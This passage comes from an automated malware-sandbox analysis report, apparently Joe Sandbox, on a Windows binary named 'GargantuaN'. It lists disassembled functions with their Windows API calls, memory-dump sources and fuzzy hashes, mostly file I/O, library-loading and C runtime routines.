Instruction Fuzzy Hash: DDF0F4B590020AEFCB10AFA9DD499AFFFFCEF94700F00425AA815E2241DBB456059BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D598E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00D57760,?,00000005,?,00000011), ref: 00D5995F
GetLastError.KERNEL32(?,?,00D57760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D5996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00D57760,?,00000005,?), ref: 00D599A2
GetLastError.KERNEL32(?,?,00D57760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D599AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00D57760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D599F9

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: f798f0b3b2585f6597baa8543e2f384a64a6c520d74cc84ca9fb0b69d9816e57
Instruction ID: ae740b2d3630997e44bc6529f164838ef8aef5c2dad2f12c1505201cd204d4ab
Opcode Fuzzy Hash: f798f0b3b2585f6597baa8543e2f384a64a6c520d74cc84ca9fb0b69d9816e57
Instruction Fuzzy Hash: DA310230544345AFEB209F24CC46B9AFB98BB04321F241B19FDA5962D1D3B4A948CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D6B579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D6B58A
IsDialogMessageW.USER32(0002047E,?), ref: 00D6B59E
TranslateMessage.USER32(?), ref: 00D6B5AC
DispatchMessageW.USER32(?), ref: 00D6B5B6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: d29e05fa4c8a47d0b69509d59f744f7d19623f8cf74614a778a47aec95e45449
Instruction ID: e59c481f7b8eeb148a8b7f6bfd032e845fde2aab2bc587ebf1935088d4e88876
Opcode Fuzzy Hash: d29e05fa4c8a47d0b69509d59f744f7d19623f8cf74614a778a47aec95e45449
Instruction Fuzzy Hash: A0F0DA71A0132AEB8B20AFE6EC4CDDB7FBCEE057A17044515B90AD2150EB34E645DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6ABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00D6ABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 00D6ABF9

Part of subcall function 00D61FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00D5C116,00000000,.exe,?,?,00000800,?,?,?,00D68E3C), ref: 00D61FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00D6ABE9

Strings

EDIT, xrefs: 00D6ABCD, 00D6ABD8, 00D6ABE5

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: eb6f63975acda11045da406a63aef47c68f830716ea80b805a66b950a3809816
Instruction ID: ef1e5ff8fc137a5dee2cf82e0e2db7ed120457eb56155c70621bf94a21b19866
Opcode Fuzzy Hash: eb6f63975acda11045da406a63aef47c68f830716ea80b805a66b950a3809816
Instruction Fuzzy Hash: D9F08232A00329B7DB206A289C09F9B776C9F46B40F4C4151BA45F2280D760EA418AB6

Uniqueness

Uniqueness Score: -1.00%

Function 00D59785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00D59795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00D597AD
GetLastError.KERNEL32 ref: 00D597DF
GetLastError.KERNEL32 ref: 00D597FE

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 3040a77f915ce72bb23223ef5658c88ac571143a574bcb30eec1e35ff90fb312
Instruction ID: 9ef5f70a2644fa4d91201c0c630d596814c613feb7f21d9c1d1e30714ca08051
Opcode Fuzzy Hash: 3040a77f915ce72bb23223ef5658c88ac571143a574bcb30eec1e35ff90fb312
Instruction Fuzzy Hash: EA117C30910204EBDF205F64C824A69BBA9FB46723F24892AEC5AC5290D774DE4CAB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D7AD34 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00D73F73,00000000,00000000,?,00D7ACDB,00D73F73,00000000,00000000,00000000,?,00D7AED8,00000006,FlsSetValue), ref: 00D7AD66
GetLastError.KERNEL32(?,00D7ACDB,00D73F73,00000000,00000000,00000000,?,00D7AED8,00000006,FlsSetValue,00D87970,FlsSetValue,00000000,00000364,?,00D798B7), ref: 00D7AD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00D7ACDB,00D73F73,00000000,00000000,00000000,?,00D7AED8,00000006,FlsSetValue,00D87970,FlsSetValue,00000000), ref: 00D7AD80

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: f920f423418920d77ecd36dc094df981309620afb469119cab7cd0c2a3629d10
Instruction ID: 8ed5ec113998e8658e37c8924d8b2492e8913c70deb165b748761cc0be596a4f
Opcode Fuzzy Hash: f920f423418920d77ecd36dc094df981309620afb469119cab7cd0c2a3629d10
Instruction Fuzzy Hash: 8E01D436211332ABC7314A6DDC44A5A7B98EF85BA27294620F91ED7650F720DC0187F1

Uniqueness

Uniqueness Score: -1.00%

Function 00D59F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00D5D343,00000001,?,?,?,00000000,00D6551D,?,?,?), ref: 00D59F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00D6551D,?,?,?,?,?,00D64FC7,?), ref: 00D59FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00D5D343,00000001,?,?), ref: 00D5A011

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 8b84f34be80108529c334573d4fc540de34dc0e953bf518f3bf3941e85340968
Instruction ID: 7cd173067a5c836f4b52a6d9c8416c7e0ebebc88a1b881c9d1322d43e4ef0fa8
Opcode Fuzzy Hash: 8b84f34be80108529c334573d4fc540de34dc0e953bf518f3bf3941e85340968
Instruction Fuzzy Hash: B931CD71208315AFDF148F28D818B6AB7A5EF80B16F040618FD859B2D0C775A94CCBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00D5C27E: _wcslen.LIBCMT ref: 00D5C284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A30C
GetLastError.KERNEL32(?,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A329

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 3b86aa22dd1fb5ac4819378e147b131ab64d0d2ec60d70905113c514ffd83a29
Instruction ID: ee94762111c68768a4fbcd21b397c3a4899d084be9408694353eb5cd0c15e848
Opcode Fuzzy Hash: 3b86aa22dd1fb5ac4819378e147b131ab64d0d2ec60d70905113c514ffd83a29
Instruction Fuzzy Hash: 5E01D8312102346AFF21ABB98C0ABFD3388DF0A787F484515FD41D6181E764CA89C6B7

Uniqueness

Uniqueness Score: -1.00%

Function 00D7B893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00D7B8B8

Strings

, xrefs: 00D7B8FD

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: b09da05b1ded708ec4cd7bb02fdc32550fe069d18338589891a2f17d5f3fa00b
Instruction ID: d5e816ef9f3560beb05c34c24b889fa81a1d41030c0bc3e94901818b54de331c
Opcode Fuzzy Hash: b09da05b1ded708ec4cd7bb02fdc32550fe069d18338589891a2f17d5f3fa00b
Instruction Fuzzy Hash: 2A41F87050434C9EDB218E288C84BFABBE9EB45314F1844EEE6DEC6142E3359A45CF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D7AF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 00D7AFDD

Strings

LCMapStringEx, xrefs: 00D7AF7D, 00D7AF87

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: c7f7113d569030fcd53ac10c687a9638fd47a46953f3581e48d8cd42b0d49954
Instruction ID: 22f12c1028996762bf7e5ba328461027ae2ef617bdf92013fc1d9f04389f0141
Opcode Fuzzy Hash: c7f7113d569030fcd53ac10c687a9638fd47a46953f3581e48d8cd42b0d49954
Instruction Fuzzy Hash: 7D01E572504209BBCF02AF94DC06DEEBF66EF48750F458155FE1866260DB32CA31AFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D7AF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00D7A56F), ref: 00D7AF55

Strings

InitializeCriticalSectionEx, xrefs: 00D7AF1B, 00D7AF25

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 2ed37abd5144fc6b085701a3a0a2e5bdddb9e1fe0afde1efa94d364411110ccb
Instruction ID: 6616f34fa0c9223b0de40af48bb2afb9f69120eef0833ec2313e60ce184c64ad
Opcode Fuzzy Hash: 2ed37abd5144fc6b085701a3a0a2e5bdddb9e1fe0afde1efa94d364411110ccb
Instruction Fuzzy Hash: E2F0BE71A45208BFCB026F58DC06DAEBF61EF44B11B018064FC0CAA260EA318A109BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00D7ADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00D7ADEE

Strings

FlsAlloc, xrefs: 00D7ADC0, 00D7ADCA

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: cb801e290d08dfddb058b5afe6bdaf578e0a1d6aaa7769f57b16def56d667ca0
Instruction ID: 63e04a6e0ae5b34e156ef98a5dfa7ff4ee8a8bd3848e2c11e4539b7bb2723ac5
Opcode Fuzzy Hash: cb801e290d08dfddb058b5afe6bdaf578e0a1d6aaa7769f57b16def56d667ca0
Instruction Fuzzy Hash: CFE0E571745318BFC611BB69DC06D6EBB54DB44B21B114199F81997340ED709E008BFA

Uniqueness

Uniqueness Score: -1.00%

Function 00D6EAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6EAF9

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Strings

3To, xrefs: 00D6EAE7, 00D6EAF3

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3To
API String ID: 1269201914-245939750
Opcode ID: e3f68baff5bad1aa0e0824769b6fe207e8b2005f8b554fbd33f17f9e6f0ced80
Instruction ID: de208e515986fb939811b5c02b2ee6b50cc2a930089289f4a94c5f271ca90a60
Opcode Fuzzy Hash: e3f68baff5bad1aa0e0824769b6fe207e8b2005f8b554fbd33f17f9e6f0ced80
Instruction Fuzzy Hash: 5BB012CE2EA142FE320872401D03C37430CC5C0B90330903EF401C4091EC804C091871

Uniqueness

Uniqueness Score: -1.00%

Function 00D7BBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00D7B7BB: GetOEMCP.KERNEL32(00000000,?,?,00D7BA44,?), ref: 00D7B7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00D7BA89,?,00000000), ref: 00D7BC64
GetCPInfo.KERNEL32(00000000,00D7BA89,?,?,?,00D7BA89,?,00000000), ref: 00D7BC77

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: c15ebd8c26126a0fc157c9bf719272839fd25af89bad944a5621e050e4ed48e5
Instruction ID: 3654e7d1c28134b62b23f3577870267a3aec4da23ef94d3d74426e433c65f35a
Opcode Fuzzy Hash: c15ebd8c26126a0fc157c9bf719272839fd25af89bad944a5621e050e4ed48e5
Instruction Fuzzy Hash: 575131709003059EDB319F75C8817BABBE5EF41320F18C46FD49A8B251F77599468BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D59A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00D59A50,?,?,00000000,?,?,00D58CBC,?), ref: 00D59BAB
GetLastError.KERNEL32(?,00000000,00D58411,-00009570,00000000,000007F3), ref: 00D59BB6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 768992894a2d3e1154ebe7551708483d0ce35ab7367b480386502c8059cd9c22
Instruction ID: 0706d75d82fc6160274b89cf99841a867655153c2a566a84450bbf5215e82b66
Opcode Fuzzy Hash: 768992894a2d3e1154ebe7551708483d0ce35ab7367b480386502c8059cd9c22
Instruction Fuzzy Hash: 2A41AD70504301CBEF249F29E5A446AF7E5FBD4722F188A2DEC9583260E770ED488B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D7BA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00D797E5: GetLastError.KERNEL32(?,00D91030,00D74674,00D91030,?,?,00D73F73,00000050,?,00D91030,00000200), ref: 00D797E9
Part of subcall function 00D797E5: _free.LIBCMT ref: 00D7981C
Part of subcall function 00D797E5: SetLastError.KERNEL32(00000000,?,00D91030,00000200), ref: 00D7985D
Part of subcall function 00D797E5: _abort.LIBCMT ref: 00D79863

Part of subcall function 00D7BB4E: _abort.LIBCMT ref: 00D7BB80
Part of subcall function 00D7BB4E: _free.LIBCMT ref: 00D7BBB4

Part of subcall function 00D7B7BB: GetOEMCP.KERNEL32(00000000,?,?,00D7BA44,?), ref: 00D7B7E6

_free.LIBCMT ref: 00D7BA9F
_free.LIBCMT ref: 00D7BAD5

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: f7ede632ac984d6f29d2c82744b87325394123b7767d7378f15d27e463c2ae60
Instruction ID: bccc80e5f5dcd2f65b1f2c1bb21ce1fc7509553bdfb418cb609e5cb466cfd9d4
Opcode Fuzzy Hash: f7ede632ac984d6f29d2c82744b87325394123b7767d7378f15d27e463c2ae60
Instruction Fuzzy Hash: FF317331904209AFDB14EFA8D445B9DB7E5EF51330F25809AE9089B2A2FB729D40DB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D51E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D51E55

Part of subcall function 00D53BBA: __EH_prolog.LIBCMT ref: 00D53BBF

_wcslen.LIBCMT ref: 00D51EFD

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
